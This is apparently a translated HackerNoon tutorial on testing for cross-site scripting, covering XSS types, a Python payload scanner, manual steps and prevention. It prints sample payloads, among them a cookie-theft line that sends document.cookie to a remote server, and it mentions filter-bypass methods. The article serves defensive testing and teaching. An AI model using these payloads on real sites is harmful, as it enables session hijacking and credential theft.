paint-brush
跨站脚本 (XSS) 漏洞:测试策略和示例经过@shad0wpuppet
25,371 讀數
25,371 讀數

跨站脚本 (XSS) 漏洞:测试策略和示例

经过 Konstantin Sakhchinskiy9m2024/01/31
Read on Terminal Reader
Read this story w/o Javascript

太長; 讀書

XSS 对 Web 应用程序构成持续威胁,导致数据泄露和用户信任面临风险。了解 XSS 类型和测试方法对于有效缓解问题至关重要。输入验证、输出编码和 CSP 实施等预防技术可提高应用程序的安全性。通过优先考虑安全实践和协作,团队可以保护其应用程序免受 XSS 侵害,并确保足够的 Web 应用程序安全性。
featured image - 跨站脚本 (XSS) 漏洞:测试策略和示例
Konstantin Sakhchinskiy HackerNoon profile picture
0-item

根据我所看到的统计数据和我的经验,XSS 漏洞仍然是 Web 应用程序的普遍威胁,带来数据盗窃、会话劫持和网站问题的风险。我决定花更多时间研究这种漏洞类型,并至少与您分享这种概述式的基础知识,以便许多 QA 和开发专家可能会记住一些方法来测试他们的应用程序以解决此问题。本文探讨了不同类型的 XSS、测试方法和自动化方法,并提供了一些有效渗透测试的示例和有效负载。


跨站点脚本攻击 (XSS)允许攻击者利用客户端代码执行中的漏洞,将恶意脚本注入其他用户查看的网页中。了解不同类型的 XSS 漏洞并使用正确的测试策略对于构建免受此类攻击的安全 Web 应用程序至关重要。


当不受信任的用户输入未得到充分净化并在 Web 应用程序中执行时,就会发生 XSS 攻击,从而使攻击者能够在其他用户的浏览器上下文中注入并执行恶意脚本。

XSS 漏洞的类型

反射式 XSS

当用户提供的数据未经适当验证而在响应中回显时发生。

示例:通过 URL 参数注入<script>alert('XSS_DEMO')</script>


当 Web 应用程序将未经验证的用户输入反映到用户浏览器而没有进行适当的清理时,就会发生这些漏洞。在此攻击中,攻击者制作一个包含脚本代码的恶意 URL,当受害者单击该脚本代码时,该 URL 将在易受攻击的网页上下文中执行。恶意脚本不存储在服务器上,而是直接从用户的输入中反映出来。反射型 XSS 漏洞通常被用于网络钓鱼攻击或操纵用户的浏览体验。影响可能很严重,从 cookie 盗窃到会话劫持。

存储型 XSS

恶意脚本永久存储在服务器上,并在其他用户访问时执行。

示例:存储在论坛帖子或社交网络个人资料页面上的评论/帖子中的恶意脚本。


也称为持久性 XSS,当攻击者将恶意脚本代码注入 Web 应用程序,然后将其存储在服务器端时,就会出现这种情况。每当其他用户访问易受攻击的页面时,就会检索并执行此注入的脚本。存储型 XSS 攻击特别危险,因为注入的脚本会随着时间的推移而持续存在,可能会影响多个用户并导致广泛的利用。攻击者通常以用户生成的内容为目标,例如显示在网页或个人资料字段上的评论、论坛帖子、实体名称,以执行其恶意负载。存储的 XSS 后果可能包括数据盗窃、帐户接管和网站篡改,给用户和受影响的组织带来重大风险。

基于 DOM 的 XSS

脚本的执行依赖于客户端对 DOM 的操作。

示例: JS 代码从 URL 哈希中检索并执行用户控制的数据。


当 Web 应用程序以不安全的方式基于不受信任的用户输入动态操作 DOM 时,就会发生这种情况。与涉及服务器端处理的传统 XSS 攻击不同,基于 DOM 的 XSS 完全表现在客户端。攻击者通过操纵客户端脚本在受害者的浏览器中执行任意代码来利用基于 DOM 的 XSS。这种类型的 XSS 通常更难检测和缓解,因为该漏洞存在于客户端代码中,并且在服务器端测试期间可能并不明显。基于 DOM 的 XSS 攻击可能会导致各种后果,包括会话劫持、数据泄露和代表用户进行未经授权的操作,这凸显了客户端安全措施和警惕 Web 应用程序开发实践的重要性。

自我XSS

这是一种社会工程攻击,攻击者诱骗用户在浏览器中执行恶意代码。与针对多个用户的传统 XSS 攻击不同,Self-XSS 利用用户的信任在其会话中执行代码。通常,攻击者会诱骗受害者以无害操作(例如解锁功能或赚取奖励)为幌子,将看似无辜的 JS 代码粘贴到浏览器的开发者控制台或网站的某些字段中。一旦执行,注入的代码可能会危害受害者的帐户、窃取敏感信息或代表他们执行未经授权的操作。尽管仅限于受害者的会话,但 Self-XSS 仍然是一种威胁,这强调了用户教育和意识的重要性,以识别和避免此类欺骗策略。


测试

自动化

  • 使用 OWASP ZAP、Burp Suite、XSStrike、PwnXSS、XSSer、Acunetix 等安全测试工具自动扫描 XSS。
  • 配置工具来爬行应用程序、识别输入向量并注入有效负载以检测 XSS 漏洞。
  • 分析已识别漏洞的扫描结果、手动重现它们、创建 PoC、了解潜在影响并确定修复问题的优先顺序。

你可以写一些脚本;我更喜欢Python,例如:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

手动测试

  • 识别容易受到 XSS 注入的输入向量(例如,输入字段、URL 参数)。您可以使用爬虫和嗅探器来更有效地识别向量。
  • 制作有效负载以利用 XSS 漏洞(例如脚本标签、事件处理程序)。

分析响应以确定是否反映或执行了有效负载。创建 PoC,了解潜在影响并确定解决问题的优先顺序。


脚步:

  1. 在应用程序的输入字段中输入脚本标记,后跟一些 JS 代码。

    例如,基本的 XSS 负载:

     <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
  2. 提交输入并查看脚本是否执行。

  3. 如果是,则应用程序很容易受到 XSS 攻击。

  4. 如果脚本未执行,请尝试通过添加其他 HTML 标记(例如<img><iframe>来修改输入并查看它们是否反映在页面上(例如,这个几乎总是适合我):

    <b>t</b>#`"/*—est

  5. 您可以添加脚本来查询 Web 应用程序 URL 的参数或用户名、上传的文件名或将在应用程序页面上显示的任何您可以更改的文本。

  6. 注意输入的前端验证。始终尝试使用直接请求(使用 Postman、Burp 或任何类似工具)提交值。

  7. 检查开发工具中的浏览器控制台,因为有时您可能看不到页面上任何可见的更改,但某些符号,例如`"/*—可能会破坏页面的 JS/HTML,并且您会在控制台中看到一条警告,该警告可能会破坏页面的 JS/HTML。提示您如何修改有效负载以获得 XSS PoC


使用模糊测试和有效负载列表 - 尽可能自动化此方法或使用特殊工具。

就我个人而言,我喜欢使用这里的有效负载和信息,在我看来,这是一个非常有用的资源。

黑盒测试

  • 识别容易受到 XSS 注入的输入向量。
  • 制作和注入 XSS 有效负载以评估影响并识别脆弱点。

灰盒测试

  • 分析潜在 XSS 的源代码和清理程序。
  • 利用应用程序的部分知识进行有针对性的测试。

利用 XSS

XSS 验证

  • 演示通过注入执行任意 JS 的有效负载来确认 XSS 漏洞。
  • 在 Chrome 浏览器版本 92 之后使用print()函数等替代有效负载。

高级 XSS 攻击

  • 窃取 cookie、执行会话劫持或执行任意代码。
  • 冒充用户、捕获凭据或破坏网页。

绕过 XSS 过滤器

  • 通过标签属性值插入、混淆和 HTTP 参数污染 (HPP) 等各种技术来规避常见的 XSS 过滤器。
  • 示例场景展示了绕过过滤器机制以成功执行 XSS 有效负载。

预防技巧

输入验证和输出编码

  • 实施输入验证机制(FE 和 BE)以确保用户提供的数据符合预期格式并且不包含恶意代码。
  • 在处理或存储之前,在服务器端清理并验证所有用户输入。
  • 对输出数据进行适当编码,以防止浏览器将其解释为活动内容。
  • 根据输出数据的上下文,利用 HTML 实体编码、URL 编码和 JS 转义等编码技术。

内容安全策略 (CSP)

  • 实施内容安全策略 (CSP) 标头来定义和实施有关 Web 应用程序中脚本、样式表和其他资源执行的安全策略。 CSP 允许管理员限制脚本加载的来源,通过防止执行未经授权的脚本来降低 XSS 攻击的风险。
  • 配置 CSP 指令以指定受信任域、内联脚本和样式使用以及脚本随机数,有效减少 XSS 的攻击面。

上下文特定的输出编码

根据呈现输出数据的上下文对数据进行编码。对 HTML、JS、CSS 和其他上下文应用不同的编码方法,以确保全面防御 XSS。

例如,对 HTML 内容使用 HTML 实体编码,对内联脚本上下文使用 JavaScript 转义,对样式属性使用 CSS 转义,以防止脚本注入并维护各种输出上下文中的数据完整性。

输入白名单和黑名单

实施输入白名单和黑名单,以根据允许和禁止的字符、模式或内容类型的预定义允许列表和拒绝列表来过滤和验证用户输入。

  • 白名单涉及明确定义预期的输入格式并拒绝任何不符合这些规范的输入。
  • 黑名单可以识别并阻止已知的恶意输入或模式,尽管由于可能通过编码或混淆技术进行规避,因此效果可能较差

安全标头和清理库

  • 使用 X-XSS-Protection、X-Content-Type-Options 和 X-Frame-Options 等安全标头来提高 Web 应用程序安全性并防止各种攻击媒介,包括 XSS。
  • 将第三方清理库和框架集成到开发堆栈中,以自动执行输入验证、输出编码和其他安全关键任务。定期更新和维护这些库,以有效解决新出现的威胁和漏洞。

安全开发实践和安全意识

  • 在开发和 QA 团队中推广安全开发实践,强调编写安全代码、进行彻底的代码审查以及在整个软件开发生命周期中执行安全测试的重要性。
  • 在开发人员、QA 工程师和其他利益相关者中培养安全意识文化,鼓励有关 XSS 和其他漏洞、利用技术和预防措施的持续学习和知识共享。
  • 投资持续的培训计划、课程、研讨会、会议和资源,为团队成员提供有效识别、处理和预防 XSS 所需的技能和专业知识。

XSS 对 Web 应用程序构成持续威胁,导致数据泄露和用户信任面临风险。了解 XSS 类型和测试方法对于有效缓解至关重要。输入验证、输出编码和 CSP 实施等预防技术可提高应用程序的安全性。通过优先考虑安全实践和协作,团队可以保护其应用程序免受 XSS 侵害,并确保足够的 Web 应用程序安全性。


如果您是初学者并且对网络安全和渗透测试感兴趣,或者只是想改进您的应用程序以使其更安全,您可以阅读我关于以下主题的文章:


有关 XSS 和负载的更多详细信息,您可以找到以下资源:


一个重要的提醒:

始终在明确许可的情况下并在受控环境中进行渗透测试。这种道德方法确保安全评估与负责任的测试协议保持一致,防止系统无意中受到损害,并维护测试过程和总体网络安全策略的完整性。